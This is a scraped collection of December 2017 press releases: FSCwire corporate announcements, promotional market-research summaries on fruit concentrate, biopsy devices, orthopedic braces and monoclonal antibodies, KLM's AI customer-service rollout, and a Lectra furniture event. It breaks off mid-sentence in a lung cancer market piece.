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FSCwire / Press ReleaseThe following press release was disseminated by FSCwire for Friday Night Inc--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---Vancouver, British Columbia (FSCWire) - Friday Night Inc (CSE:TGIF). has issued a press release with the following headline:Friday Night Inc. Engages CFN MediaTo view this press release on the FSCwire website, please either click on the link below, or copy and paste the link into your browser:If you would prefer, you can also view this press release as a PDF file, please either click on the link below, or copy and paste the link into your browser:For more information on Friday Night Inc, or to see additional press releases issued by this company, please either click on the link below, or copy and paste the link into your browser: http://www.fscwire.com/public-company/Friday Night IncSource: Friday Night Inc (CSE: TGIF, OTCQB: TGIFF, FWB: 1QF, ISIN: CA74840V1004, WKN: A2ABE2)Date: December 19, 2017Time: 9:00 AM EST--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---The story mentioned above was issued on behalf of Friday Night Inc and disseminated through FSCwire.About FSCwireFSCwire (a division of Filing Services Canada Inc.), is a global newswire dissemination, SEDAR, SEDI, and EDGAR / XBRL service provider.FSCwire is a full service global newswire dissemination company and is fully approved by all exchanges in Canada and the U.S. Press releases can be distributed for all sizes of public, private or not for profit companies and any other organization requiring news distribution. In addition to individual companies; public relations, communications and investor relations firms trust FSCwire to distribute press releases for their respective clients.In addition to newswire dissemination FSCwire also offers EDGAR, XBRL, SEDAR, SEDI, and additional services for publicly traded companies. For more information, please go to our website: http://www.fscwire.com Maximum News Dissemination by FSCwire. http://www.fscwire.com Copyright 2017 - FSCwire (a division of Filing Services Canada Inc.)
Fruit Concentrate Market by Fruit Type (Orange, Apple, Pineapple, Banana and Others) by Application (Dairy Products, Juices, Squash, Soft Drinks, Frozen Products and Baby Food), and by Region - Global Industry Analysis, Size, Share, Growth, Trends, and Forecasts (20162021)

We Think Through Different Layers, We Work Across Different Verticals

PR-Inside.com: 2017-12-19 12:47:52

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According to the report Fruits Concentrate Market, published by Market Data Forecast, the global market is projected to reach USD 38 billion by 2021, at a CAGR of 5.5% from 2016 to 2021.Fruit concentrates are most widely used in the beverage industry. They are also used as natural sweeteners and as a substitute for sugar in a variety of applications such as desserts and confectionery items. They are concentrated by removing water, due to which transportation, shipping, and warehousing becomes easier and less expensive. Manufacturers use fruit concentrates in variety of food items so that customers perceive their products as natural. North America consumes almost all the locally produced apple concentrate and exports few thousand tons because of trade relationsFruit concentrates are a convenient and economical alternative to fresh fruits in different applications. Fruit concentrates can have a wide range of applications in various industries. The bakery and confectionary industries are increasingly using fruit concentrates not only to improve texture and flavor but also to add natural color to the product due to regulations being imposed on usage of artificial colorants.Get a comprehensive overview of the Fruits Concentrate Market: Fruits Concentrate Market: http://www.marketdataforecast.com/market-reports/global-fruit-concentrate-market-468/ Drivers & RestraintsThe increasing demand for fruit concentrates in urban cities due to increase in demand for processed food products are driving the market. Also, there is a trend for increasing consumption of ready-to-eat food products in developing countries. Due to health benefits of fruits people are shifting towards fruits beverages which are also influencing market growth. Industrial demand in order to develop new fruit based products is rapidly rising fruit concentrate market growth. Although being high in nutrition, these fruit concentrate have high sugar content too, which restricts their use for diabetic people and obese people. As due to a fast paced stressful lifestyle, diabetic cases are increasing which is restraining fruit concentrate market growth.Get accurate market forecast and analysis on the Fruits Concentrate Market. Request a sample to stay up-to-date on the main trends affecting this market: http://www.marketdataforecast.com/market-reports/global-fruit-concentrate-market-468/request-sample Fruits Concentrate Market: SegmentationBy Fruit Type Orange Apple Pineapple Banana Others.By Application Dairy Products Juices Squash Soft drinks. Frozen Products Baby Food.From simple data collation through secondary and primary research to ad-hoc research requests relating to specific information, we provide our services via customization. Get customization at http://www.marketdataforecast.com/market-reports/global-fruit-concentrate-market-468/customize-report Fruits Concentrate Market: OverviewFruit juices and flavours are highly popular and are in demand over the globe. Various industries require fruit concentrate for different application and products. The increase in population has a great impact on the global food supply. The food nutrition and quality have been given considerate attention. Different government and private industries provided continuous efforts to achieve high standards for safe, unadulterated, and nutritive food in order to meet consumer demands with the development of various flavours of fruit concentrates that are appetizing, appealing, and economical by recent high technology and innovative techniques.Fruit concentrate are available in multiple forms such as clear concentrate, liquid concentrate, frozen concentrate and powdered concentrate. Out of these liquid concentrate is in the highest demand over the globe due to its multiple applications. Clear concentrate is expected to show significant growth during forecast period.Among the fruit segment pineapple fruit segment is the largest segment over the globe. Following pineapple is banana segment which is expected to show tremendous growth during forecast period. In application segment, juice is the leading segment over the globe.Fruits Concentrate Market: Region-wise OutlookNorth America takes the baton in leading the fruit concentrate consumption across the globe. This has the largest market share and the growth of this segment is increasing on a steady pace.Key Questions Answered What is the competitive landscape and market share of major players in the Asia-Pacific region? What are the drivers, key factors leading the market? Which market segments are growing the fastest? What are the unmet technological needs currently on the market? How will emerging technologies fulfil these unmet needs? What are the challenges and barriers that have restricted market growth for Fruits Concentrate? What measures are taken by leading companies to increase market growth?Fruits Concentrate Market: Key PlayersKey players dominating the fruit concentrate market are Kerry Group Plc., AGRANA group, Dohler group, Coca Colas minute maid, Capricon, Oceanaa, Acerola, Cherimoya, Lychee and starfruit. Minute maid is leading the orange juice market. The Coca-Cola Company, and its partners in India, will contribute USD 1.7 BN+ in the agri ecosystem over the next 5 years, spanning the entire supply chain from Grove to Glass through a unique concept called the Fruit Circular Economy.Reasons to buy Fruits Concentrate Market Report: Global, regional and country-level analysis and forecasts of the study market; providing Insights on the geographical areas in which this industry is prospering Segment-level analysis on basis of product type, application, colour along with market size forecasts and y-o-y estimations to detect key areas of industry growth in detail Identification of key drivers, restraints, opportunities, and challenges (DROC) in the market and their impact on shifting market dynamics Study of macro and micro environmental factors that affect the market presented in an extensive strategic analyses section containing PESTLE and Porters Five Forces Analyses A comprehensive listing of key market players along with company overview, product portfolios, key financial information (subjected to availability), SWOT analysis and Analyst overview to study and sustain the market environment Competitive landscape analysis listing out the mergers, acquisitions, collaborations in the field along with new product launches, comparative financial studies and recent developments in the market by the major companies Expertly devised Market Outlook along with Investment opportunities to provide both individuals and organizations a strong financial foothold in the marketAbout Market Data Forecast:Market Data Forecast is a firm working in the area of market research and business intelligence. With rich experience in research across various business domains, they cater to the needs of both individual and corporate clients. From all-encompassing umbrella markets to extremely specific niche markets covering all the major regions across the globe as part of the research scope, their research services offer one of a kind specialities with competitive pricing options. For more information, kindly visit, www.marketdataforecast.com
Breast Biopsy Devices Market

PR-Inside.com: 2017-12-19 10:07:04

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Global Breast Biopsy Devices Market: Breast cancer is the disease characterized by abnormal growth of cells in the breast tissue. Breast biopsy devices are used to diagnose breast cancer by removal of the sample from the breast tissue for the laboratory testing. The breast biopsy is preferred when the formation of lumps in the breast or abnormal change in nipples such as congealing, scaling, cellulite, or crusting of the skin. Various types of breast biopsy devices are preferred for the breast cancer diagnosis such as vacuum-powered biopsy, fine-needle aspiration, and core needle biopsy among others.Increase in the global breast cancer prevalence rate, changes in lifestyle such as consumption of tobacco, alcohol and food habits, growing in the female population with hormonal imbalance, an increase in the breast cancer screening programs around the globe are anticipated to fuel the breast biopsy devices market over the forecast period. In addition, technological advancements with minimally invasive or non-invasive diagnostic procedure, favourable reimbursement policies, and rising investment by the companies for R&D activities are expected to boost the breast biopsy devices market. However, stringent regulatory guidelines, infections associated with the breast biopsy devices, and the high cost of the procedures are dampening the growth of Breast Biopsy Devices Market.A sample of this report is available upon request @Breast biopsy devices market segmented based on device type, procedure type, guidance type, and end userBased on the device type, breast biopsy devices market is segmented into the following: Needles Forceps Guns OthersBased on the procedure type, breast biopsy devices market is segmented into the following: Core needle biopsy Vacuum-assisted core biopsy Fine needle aspiration biopsy Stereotactic core needle biopsy Surgical biopsy OthersBased on guidance type, breast biopsy devices market is segmented into the following: Ultrasound-guided biopsy Magnetic resonance imaging (MRI) guided biopsy Mammography guided stereotactic guided biopsy OthersBased on the end user, breast biopsy devices market is segmented into the following: Hospitals Clinics Ambulatory surgical centres LaboratoriesTo view TOC of this report is available upon request @Breast biopsy devices market is growing at a significant CAGR over the forecast period. The breast biopsy is mandatory for the diagnosis of breast cancer which cannot be confirmed by breast mammograms. Increase in the global breast cancer incidences (according to World Cancer Research Fund International, about 1.7 Mn new cases were observed in 2012) propels the breast cancer devices market over the forecast period. Acquisitions and mergers, collaborations, patent approvals, and technological advancements are the key strategies followed by the companies for increasing their revenue in the breast biopsy devices market. For instance, in 2014, Leica Biosystems (Danaher Corporation) acquired Devicor Medical Products for strengthening its breast biopsy devices portfolio. Moreover, In January 2015, Intact Medical Corporation received FDA approval for the minimally-invasive breast biopsy device. In addition, fundraising by the start-up companies for the innovation of novel devices also propels the breast biopsy devices market over the forecast period.Need more information about this report @Geographically, breast biopsy devices market is segmented into Europe, Latin America, North America, Middle East & Africa, and Asia Pacific. North America has a lucrative growth in breast biopsy devices market owing to increase in the prevalence of breast cancer (according to Centre for Disease Control and Prevention 2014, about 236,968 women and 2,141 men were diagnosed with breast cancer in U.S.), technological advancements, and increase in healthcare expenditure in the region. Europe has a significant share owing to rise in prevalence of breast cancer majorly in Italy, Greece, Finland, Germany, and Netherlands where the prevalence rate is approximately more than 400 per 100,000 population. In addition, high adoption of novel technologies, development in healthcare infrastructure, changes in lifestyle, and government initiations to create awareness about breast cancer diagnosis programs are anticipated to fuel the breast biopsy devices market. Asia Pacific is an emerging region for the breast biopsy devices market due to rise in female geriatric population majorly in Japan, China, and India. Moreover, increase in per capita income, rise in awareness about the breast cancer diagnosis, and rise in R&D for developing the minimally invasive procedures are driving the breast biopsy devices market.Some of the players in breast biopsy devices market are Medtronic, Inc. (Ireland), Becton, Dickinson and Company (U.S.), Hologic Inc. (U.S.), C.R. Bard, Inc. (U.S.), Planmed Oy (Finland), Scion Medical Technologies, LLC (U.S.), and Leica Biosystems (Danaher Corporation) to name a few.Get access to full summary @Contact to Precision Business Insights,Email: sales@ precisionbusinessinsights.com Website @ https://www.precisionbusinessinsights.com
PR-Inside.com: 2017-12-19 13:00:13

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FSCwire / Press ReleaseThe following press release was disseminated by FSCwire for GreenBank Capital Inc.--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---Toronto, Ontario (FSCWire) - GreenBank Capital Inc. (CSE:GBC). has issued a press release with the following headline:GreenBank Forms Medi-Data Blockchain Inc as a 100% Owned SubsidiaryTo view this press release on the FSCwire website, please either click on the link below, or copy and paste the link into your browser:If you would prefer, you can also view this press release as a PDF file, please either click on the link below, or copy and paste the link into your browser:For more information on GreenBank Capital Inc., or to see additional press releases issued by this company, please either click on the link below, or copy and paste the link into your browser: http://www.fscwire.com/public-company/GreenBank Capital Inc.Source: GreenBank Capital Inc. (CSE: GBC, OTC Pink: GRNBF, WKN: A1W8UJ, ISIN: CA3935762029)Date: December 19, 2017Time: 7:00 AM EST--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---The story mentioned above was issued on behalf of GreenBank Capital Inc. and disseminated through FSCwire.About FSCwireFSCwire (a division of Filing Services Canada Inc.), is a global newswire dissemination, SEDAR, SEDI, and EDGAR / XBRL service provider.FSCwire is a full service global newswire dissemination company and is fully approved by all exchanges in Canada and the U.S. Press releases can be distributed for all sizes of public, private or not for profit companies and any other organization requiring news distribution. In addition to individual companies; public relations, communications and investor relations firms trust FSCwire to distribute press releases for their respective clients.In addition to newswire dissemination FSCwire also offers EDGAR, XBRL, SEDAR, SEDI, and additional services for publicly traded companies. For more information, please go to our website: http://www.fscwire.com Maximum News Dissemination by FSCwire. http://www.fscwire.com Copyright 2017 - FSCwire (a division of Filing Services Canada Inc.)
PR-Inside.com: 2017-12-19 10:30:13

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FSCwire / Press ReleaseThe following press release was disseminated by FSCwire for Jadestone Energy Inc.--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---Singapore (FSCWire) - Jadestone Energy Inc. (TSX Venture:JSE). has issued a press release with the following headline:Jadestone Energy Announces Issuance of Stock OptionsTo view this press release on the FSCwire website, please either click on the link below, or copy and paste the link into your browser:If you would prefer, you can also view this press release as a PDF file, please either click on the link below, or copy and paste the link into your browser:For more information on Jadestone Energy Inc., or to see additional press releases issued by this company, please either click on the link below, or copy and paste the link into your browser: http://www.fscwire.com/public-company/Jadestone Energy Inc.Source: Jadestone Energy Inc. (TSX Venture: JSE, ISIN: CA46989Q1000, WKN: A2DHZ1)Date: December 19, 2017Time: 4:30 AM EST--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---The story mentioned above was issued on behalf of Jadestone Energy Inc. and disseminated through FSCwire.About FSCwireFSCwire (a division of Filing Services Canada Inc.), is a global newswire dissemination, SEDAR, SEDI, and EDGAR / XBRL service provider.FSCwire is a full service global newswire dissemination company and is fully approved by all exchanges in Canada and the U.S. Press releases can be distributed for all sizes of public, private or not for profit companies and any other organization requiring news distribution. In addition to individual companies; public relations, communications and investor relations firms trust FSCwire to distribute press releases for their respective clients.In addition to newswire dissemination FSCwire also offers EDGAR, XBRL, SEDAR, SEDI, and additional services for publicly traded companies. For more information, please go to our website: http://www.fscwire.com Maximum News Dissemination by FSCwire. http://www.fscwire.com Copyright 2017 - FSCwire (a division of Filing Services Canada Inc.)
AMSTELVEEN, The Netherlands and SAN FRANCISCO, Dec. 19, 2017 (GLOBE NEWSWIRE) -- KLM Royal Dutch Airlines is taking the next step in using artificial intelligence (AI) within its social media service. KLM worked with AI frontrunner, DigitalGenius, to add automated answers to general repetitive questions from customers without the intervention of a human service agent. This gives KLM agents more time to focus on questions in conversations with customers that require a human approach. KLM is the first airline to offer a combination of human agents and artificial intelligence in a single conversation on Twitter, Messenger and WhatsApp.

KLM receives over 130,000 mentions via social media per week. This number has grown since the introduction of WhatsApp as a service channel. A dedicated team of 250 social media service agents personally engages in 30,000 conversations each week. On average, conversations consist of five or six questions and answers between KLM and its customers. Questions that can be answered automatically with the use of artificial intelligence usually come at the beginning of the conversation.

KLM has been using AI provided by DigitalGenius, which now supports over 50% of all inquiries, for a year and-a-half. When agents need to answer questions, AI provides them with a possible answer. The AI system learns from the service agent's actions and gets smarter over time. Until now, the agents had to decide if the proposed answer suits the question, adjust the answer if necessary and send it to the appropriate social media channel. With the high volumes of customer questions that the AI system has handled, KLM is now able to automate the answers to the most common questions on any subject without the interference of a human service agent. With the help of this next step in social media, KLM service agents have more time to focus on questions that require a human approach.

Pieter Groeneveld, Senior Vice President Digital Air France-KLM:

"By using artificial intelligence, KLM makes conversations with our customers even more timely, correct, and personal. This is what characterises KLM. Heavy snowfall in the Netherlands last week, caused a significant increase of the number of questions on social media. Passengers obviously expect a timely answer. With the use of AI we support our service agents with technology and should be able to answer many more questions in a shorter period of time. This is exactly what the customer needs."

Mikhail Naumov, Co-founder & President DigitalGenius:

Once again, KLM has achieved an industry-first - the ability to provide hybrid "Human+AI" conversations to support their customers. They are a stellar example of a company that uses technology to unlock human time and potential - all in service of their respected brand and their customers.

Contact:

Natalie Issa (For DigitalGenius)

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Latin America OTC Orthopedic Braces Market By Product (Lower Extremity Braces, Knee Braces, Foot And Ankle Braces, Upper Extremity Braces, Shoulder Braces, Elbow Braces, Wrist Braces, Back And Hip Braces And Other Braces), By Indication (Prophylactic, Injury, Osteoarthritis (OA) And Other Indications) And By Region - Industry Analysis, Size, Share, Growth, Trends, And Forecasts (20162021)

PR-Inside.com: 2017-12-19 11:10:54

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According to the report OTC Orthopaedic Braces, published by Market Data Forecast, the Latin America market is projected to reach USD 108.13 million by 2022, at a CAGR of 4.3% from 2017 to 2022.Orthopaedic braces, also known as orthopaedic splints, facilitate the stabilization, protection and correction of injuries or abnormal structure. They are used for different applications like injury prevention, rehabilitation and more. The braces are also designed in a way to compensate for muscles which have low strength in them. They rectify the structural anomalies and help in the detection of spina bifida, cerebral palsy, as well as to treat the symptoms of stroke.Get a comprehensive overview of the Latin America OTC Orthopaedic Braces: http://marketdataforecast.com/market-reports/latin-america-otc-orthopedic-braces-market-3261/ Latin America OTC Orthopaedic Braces: Drivers & RestraintsMany different factors like growth of GDP, increasing middle-class population, increased spending on healthcare and rising awareness among the public about different treatment options for orthopaedic conditions are propelling the growth of the OTC Orthopaedic Braces market in the Asia-Pacific region.On the other hand, growing preference of patients towards alternative treatment methods, uncertain reimbursements, below average efficiency of orthopaedic braces and lack of customization for OTC orthopaedic braces are the primary factors inhibiting the Middle-East and Africa OTC orthopaedic braces market.Get accurate market forecast and analysis on the Latin America OTC Orthopaedic Braces. Request a sample to stay up-to-date on the main trends affecting this market: http://marketdataforecast.com/market-reports/latin-america-otc-orthopedic-braces-market-3261/request-sample Latin America OTC Orthopaedic Braces: SegmentationBy Product Introduction Lower Extremity Braces Knee Braces Foot & Ankle Braces Upper Extremity Braces Shoulder Braces Elbow Braces Back & Hip Braces Wrist Braces Other BracesBy Indication Introduction Prophylactic Injury Osteoarthritis Other IndicationFrom simple data collection through secondary and primary research to ad-hoc research requests relating to specific information, we provide our services via customization. Get customization at: http://marketdataforecast.com/market-reports/latin-america-otc-orthopedic-braces-market-3261/customize-report Latin America OTC Orthopaedic Braces: OverviewFactors like growing population of middle class and rising GDP are affecting the growth of this market positively. Other factors such as rising awareness among the public about different treatment options for orthopaedic conditions are also carry the growth of market in this region forward.Latin America OTC Orthopaedic Braces: Region-wise OutlookThe market for OTC Orthopaedic Braces in Latin America region is divided based on geography into Brazil, Chile, Argentina and others. This region has many countries which are emerging economies and are undergoing a lot of development in the medical sector. Thus, the growth potential for this market is substantial during the forecast period.Key Questions Answered What is the current and future OTC Orthopaedic Braces outlook in Latin America market? What trends are affecting the Latin America market? What is the competitive landscape and market share of major players in the OTC Orthopaedic Braces space in Latin America market? What are the key, high growth markets that OTC Orthopaedic Braces manufacturers should expand into? Which market segments are growing the fastest? What are the unmet needs with the OTC Orthopaedic Braces currently on the market? How will emerging technologies fulfil these unmet needs? What is physician perception and market outlook of OTC Orthopaedic Braces? What are the challenges and barriers that have hindered widespread adoption of OTC Orthopaedic Braces?Latin America OTC Orthopaedic Braces: Key PlayersSome of the major companies dominating Latin America OTC Orthopaedic Braces Market are DJO Finance LLC, DeRoyal Industries Inc., Breg, Inc., Bauerfeind AG, BSN Medical, Otto Bock HealthCare, Medi GmbH & Co. KG, Thuasne Group, and 3M Company.Reasons to buy Latin America OTC Orthopaedic Braces Report: Regional and country-level analysis and forecasts of the study market; providing Insights on the geographical areas in which this industry is prospering Segment-level analysis on basis of product type, application, colour along with market size forecasts and y-o-y estimations to detect key areas of industry growth in detail Identification of key drivers, restraints, opportunities, and challenges (DROC) in the market and their impact on shifting market dynamics Study of macro and micro environmental factors that affect the market presented in an extensive strategic analyses section containing PESTLE and Porters Five Forces Analyses A comprehensive listing of key market players along with company overview, product portfolios, key financial information (subjected to availability), SWOT analysis and Analyst overview to study and sustain the market environment Competitive landscape analysis listing out the mergers, acquisitions, collaborations in the field along with new product launches, comparative financial studies and recent developments in the market by the major companies Expertly devised Market Outlook along with Investment opportunities to provide both individuals and organizations a strong financial foothold in the marketCheckout other related studies in the Latin America Medical Devices Segment:Latin America Cardiac Assist Devices Market: http://marketdataforecast.com/market-reports/latin-america-cardiac-assist-devices-market-34/ Latin America Dental Consumables Market: http://marketdataforecast.com/market-reports/latin-america-dental-consumables-market-46/ About Market Data Forecast:Market Data Forecast is a firm working in the area of market research and business intelligence. With rich experience in research across various business domains, they cater to the needs of both individual and corporate clients. From all-encompassing umbrella markets to extremely specific niche markets covering all the major regions across the globe as part of the research scope, their research services offer one of a kind specialities with competitive pricing options. For more information, kindly visit, www.marketdataforecast.com
PR-Inside.com: 2017-12-19 17:53:01

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Lectra's "Furniture Goes Digital" event delves into opportunities for digital transformation

Upholstered furniture manufacturers explore the ideas and technologies that are crucial for success in today's digital marketplace

Paris, December 19, 2017 - Lectra, the world leader in integrated technology solutions dedicated to industries using fabrics, leather, technical textiles and composite materials, brought together 140 participants, including furniture executives from 18 countries, to its International Advanced Technology Center in Bordeaux-Cestas to explore how digitalization is shaping consumer expectations and transforming upholstered furniture manufacturing.





The two-day event centered around the forward-thinking ideas and digital technologies available to furniture manufacturers grappling with skyrocketing demand for customized furnishings, high expectations for speedy delivery and the necessity of an omnichannel shopping experience. Trends driven, in large part, by the distinctly different behaviors and buying habits of the millennial generation.





Lectra's aim in hosting the event was to offer participants fresh insights on the Industry 4.0 technologies-such as the cloud, the Industrial Internet of Things, data analytics, and cutting room innovations-that will be key success factors for companies to respond to the complexities of the current manufacturing environment and capitalize on new business opportunities growing out of the connected economy.





The seminar provided attendees the opportunity to examine the promise and potential of digitalization from every angle, from consumer engagement to production. Philipp Riederle, Consultant, demystified the millennial consumer mindset; Pierre Villeneuve, Founder, HxLab, outlined business models adapted to a consumer-driven digital economy; and Vanina Delobelle, CEO, Augmynt, demonstrated how to enhance online shopping experiences with a virtual reality e-commerce platform. Lectra experts also illustrated the value of virtual technology for increasing the speed and accuracy of product design reviews.





Firms that have already begun their digital transformation shared their experiences and observations with those in attendance. "Companies should rethink the way they operate-business models, strategy, management models, etc.-if they want to succeed in an increasingly digital world in time. Digital transformation enables KUKA to embrace and succeed in the digital era, and Lectra is an important partner in our digital transformation strategy," explained Li Donglai, President, KUKA.





"Supply chains will have to change significantly. The furniture industry has to put itself on the same level, technologically speaking, as other sectors. The automobile industry, for example, could serve as a good benchmark," said Christian Tomadini, COO, Moroso.

"The journey towards a fully Industry 4.0 future will be a long one but it must start now. Lectra's goal is to empower our customers with the technology, ideas and support they need to thrive in the new industrial era," explained Celine Choussy Bedouet, Chief Marketing and Communications Officer, Lectra.

About Lectra

Lectra is the world leader in integrated technology solutions (software, automated cutting equipment, and associated services) specifically designed for industries using fabrics, leather, technical textiles, and composite materials to manufacture their products. It serves major world markets: fashion and apparel, automotive, and furniture as well as a broad array of other industries. Lectra's solutions, specific to each market, enable customers to automate and optimize product design, development, and manufacturing. With more than 1,600 employees, Lectra has developed privileged relationships with prestigious customers in more than 100 countries, contributing to their operational excellence. Lectra registered revenues of $288 million in 2016 and is listed on Euronext.

For more information, please visit www.lectra.com

Contact - Lectra Headquarters / Press Dept.: Nathalie Fournier-Christol

E-mail: n.fournier-christol@lectra.com

Tel.: +33 (0)1 53 64 42 37 - Fax: +33 (0)1 53 64 43 40





This announcement is distributed by Nasdaq Corporate Solutions on behalf of Nasdaq Corporate Solutions clients.

The issuer of this announcement warrants that they are solely responsible for the content, accuracy and originality of the information contained therein.

Source: LECTRA via Globenewswire


Monoclonal Antibodies Market by Source (Murine, Chimeric, Humanized, Human) by Indication (Cancer, Autoimmune diseases, infectious diseases, Cardiovascular diseases, CNS disorders, others) by End-User (Hospitals/Clinics, Research Institute, Diagnostic Laboratories) by Application (Medical, Experimental) and by Region - Global Industry Analysis, Size, Share, Growth, Trends, and Forecasts (20162021)

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PR-Inside.com: 2017-12-19 13:55:28

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Market Data Forecast recently published a report on the Global Monoclonal Antibodies Market which estimates the market to grow from USD 86647.561 million from 2016 to USD 112175.5 million by 2021 with a high CAGR of 5.30%.Full report at: http://www.marketdataforecast.com/market-reports/global-monoclonal-antibodies-market-1184/ Antibodies, also called as immunoglobulin, are proteins produced by plasma cells in response to specific antigens. These antibodies can be used as therapeutic as well as diagnostic purposes for several disease indications, including but not limited to, non-Hodgkin lymphoma, rheumatoid arthritis, Crohns disease, psoriasis, hypercholesterolemia, macular degeneration, and asthma. Monoclonal antibodies are the most lucrative drug type segment for manufacturers of antibody-based drugs.The monoclonal antibodies are produced in such a way that they bind to antigens promoting the immune system attacks on diseased cells. Monoclonal antibodies are target specific in action by not affect the other cells of the body thus restores the immune system.Free Sample available at: http://www.marketdataforecast.com/market-reports/global-monoclonal-antibodies-market-1184/request-sample The driving factors for the growth of this market are increasing investments in research, increasing cases people getting diagnosed with cancer, and recent technological advancements have also led to the growth of the market. Furthermore, support from government in terms of policies is also contributing in growth of the market.The products are segmented based on source, indication, end-user and application, and are studied for a deep-level understanding of the global Monoclonal Antibodies Market. Each sub segment is accompanied with Market Size Estimations and Y-o-Y Forecasts as well.Segmentation Based on Source : Murine Chimeric Humanized Human. Based on Indication : Cancer Blood Cancer Breast Cancer Colorectal Cancer Lung Cancer Pancreatic Cancer Others. Autoimmune Diseases Infectious Diseases Cardiovascular Diseases CNS Disorders Others (Inflammatory, Microbial Diseases, & Other). Based on End User : Hospitals/Clinics Research Institute Diagnostic Laboratories. Based on Application : Medical Experimental Western Blot ELISA Radioimmune Assays Immunofluorescence Other (Immunohistochemistry, Immunoprecipitation, & Immunocytochemistry).Based on geography, the report contains a wide array of countries covering all around the globe. Countries like USA, Mexico, U.K., Spain, Japan, Italy, India, China, South Africa, Israel and Brazil are identified as the predominant markets for Monoclonal Antibodies Market. For more of regional analysis, check out the following reports. Asia-Pacific Monoclonal Antibodies Market Europe Monoclonal Antibodies Market Middle-East and Africa Monoclonal Antibodies North America Monoclonal Antibodies Market Latin America Monoclonal Antibodies MarketCustomization of report at: http://www.marketdataforecast.com/market-reports/global-monoclonal-antibodies-market-1184/customize-report Some of the major companies dominating the market, by their products include GlaxoSmithKline plc. (U.K.), Novartis AG (Switzerland), Pfizer Inc. (U.S.), Thermo Fisher Scientific Inc. (U.S.), Eli Lilly and Company (U.S.), Seattle Genetics (U.S.), Bristol-Myers Squibb (U.S.), F. Hoffmann-La Roche Ltd. (Switzerland), Teva Pharmaceutical Industries Ltd. (Israel) and Shanghai Junshi Bioscience Co.,Ltd . (China). Zymeworks and GSK Enter Second Strategic Collaboration to Develop and Commercialize Bi-Specific Antibodies.Scope of the Global Monoclonal Antibodies Market: Global, Regional and country-level analysis that provides an innate perspective of USA and Canada Market to that of the Global region To detect major focus areas of industrial growth Segment-level analysis on basis of product on source, indication, application and end-user along with market size forecasts and y-o-y estimations are provided Detailed explanation of major drivers, restraints, opportunities, and challenges (DROC) that affect the market and impact the ever-shifting market dynamics PESTLE and Porters Five Forces Analyses that examine the macro & micro environmental factors such as political influence, technological prowess, industry rivalry to name a few. An extensive listing of major market players along with company overview, product portfolios, key financial information (subjected to availability), SWOT analysis and analyst overview to study and sustain the market environment mergers, acquisitions, collaborations in the field along with new product launches, comparative financial studies and recent developments in the market by the major companies all rolled out into Competitive landscape Expertly devised Market Outlook comprising the Investment opportunities to provide both individuals and organizations a strong financial foothold in the market.Enquire about report: http://www.marketdataforecast.com/market-reports/global--monoclonal-antibodies-market-185/inquire Checkout other related studies in the Therapeutics section:Cancer Vaccines Market: http://www.marketdataforecast.com/market-reports/global-cancer-vaccines-market-1419/ Buy now at: https://www.marketdataforecast.com/cart/buy-now/global-monoclonal-antibodies-market-1184 About Market Data Forecast:The publisher of this report is Market Data Forecast whose forte lies in Market research and Business Intelligence. Handling both individual and corporate clients across multiple business domains they offer syndicated/customized research to suit the clients research objective. Their research reports section offers a wide variety of market studies ranging from all-encompassing comprehensive market studies to product specific niche markets covering Global among other regions of the global market as well. For more info kindly visit, www.marketdataforecast.com
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FSCwire / Press ReleaseThe following press release was disseminated by FSCwire for New Age Farm Inc.--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---Vancouver, British Columbia (FSCWire) - New Age Farm Inc. (CSE:NF). has issued a press release with the following headline:New Age Farm Completes Acquisition of Hemp Based CBD Company, We Are Kured LLCTo view this press release on the FSCwire website, please either click on the link below, or copy and paste the link into your browser:If you would prefer, you can also view this press release as a PDF file, please either click on the link below, or copy and paste the link into your browser:For more information on New Age Farm Inc., or to see additional press releases issued by this company, please either click on the link below, or copy and paste the link into your browser: http://www.fscwire.com/public-company/New Age Farm Inc.Source: New Age Farm Inc. (CSE: NF, FWB: ONF, OTC Pink: NWGFF, WKN: A12C9F, ISIN: CA64157D1087)Date: December 19, 2017Time: 8:30 AM EST--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---The story mentioned above was issued on behalf of New Age Farm Inc. and disseminated through FSCwire.About FSCwireFSCwire (a division of Filing Services Canada Inc.), is a global newswire dissemination, SEDAR, SEDI, and EDGAR / XBRL service provider.FSCwire is a full service global newswire dissemination company and is fully approved by all exchanges in Canada and the U.S. Press releases can be distributed for all sizes of public, private or not for profit companies and any other organization requiring news distribution. In addition to individual companies; public relations, communications and investor relations firms trust FSCwire to distribute press releases for their respective clients.In addition to newswire dissemination FSCwire also offers EDGAR, XBRL, SEDAR, SEDI, and additional services for publicly traded companies. For more information, please go to our website: http://www.fscwire.com Maximum News Dissemination by FSCwire. http://www.fscwire.com Copyright 2017 - FSCwire (a division of Filing Services Canada Inc.)
Non-Small Cell Lung Cancer Market

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Cancer is the disease in which cell grows abnormally and may cause a tumor. In lung cancer, the cells of lungs starts to grow in uncontrolled manner later form a tumor and can be spread into other body parts. Small cell lung cancer and non-small cell lung cancer are the two main types of lung cancer. As per the stats of Lung Cancer Alliance (leading nonprofit organization dedicated to fighting lung cancer), out of overall lung cancer, around 80 to 85% cases found are of non-small cell lung cancer type and 15-20% cases found are of small cell lung cancer type.The different, commonly diagnosed types of non-small cell lung cancer (NSCLC) are adenocarcinoma, squamous cell carcinoma, large cell carcinoma, large cell neuroendocrine tumors. Out of all these types adenocarcinoma and squamous cell carcinoma accounts around 60% of lung cancer.There are no exact reason defined till yet by doctors behind lung cancer but some possible reasons are smoking, air pollution, mineral and metal dust, radiation treatment of chest or breast. The lung cancer symptoms are not noticeable in its early stage because they are considered for other type of illness for example pneumonia or collapsed lung. Some symptoms of lung cancer are chest pain, harsh/raspy sound during breathing, wheezing, weight loss, continuous coughing, hoarseness or voice changes, shortness of breath, lung problems like bronchitis or pneumonia etc. might be the symptoms of lung cancer. Also, if it spreads in other parts of the body then it shows symptoms like bone 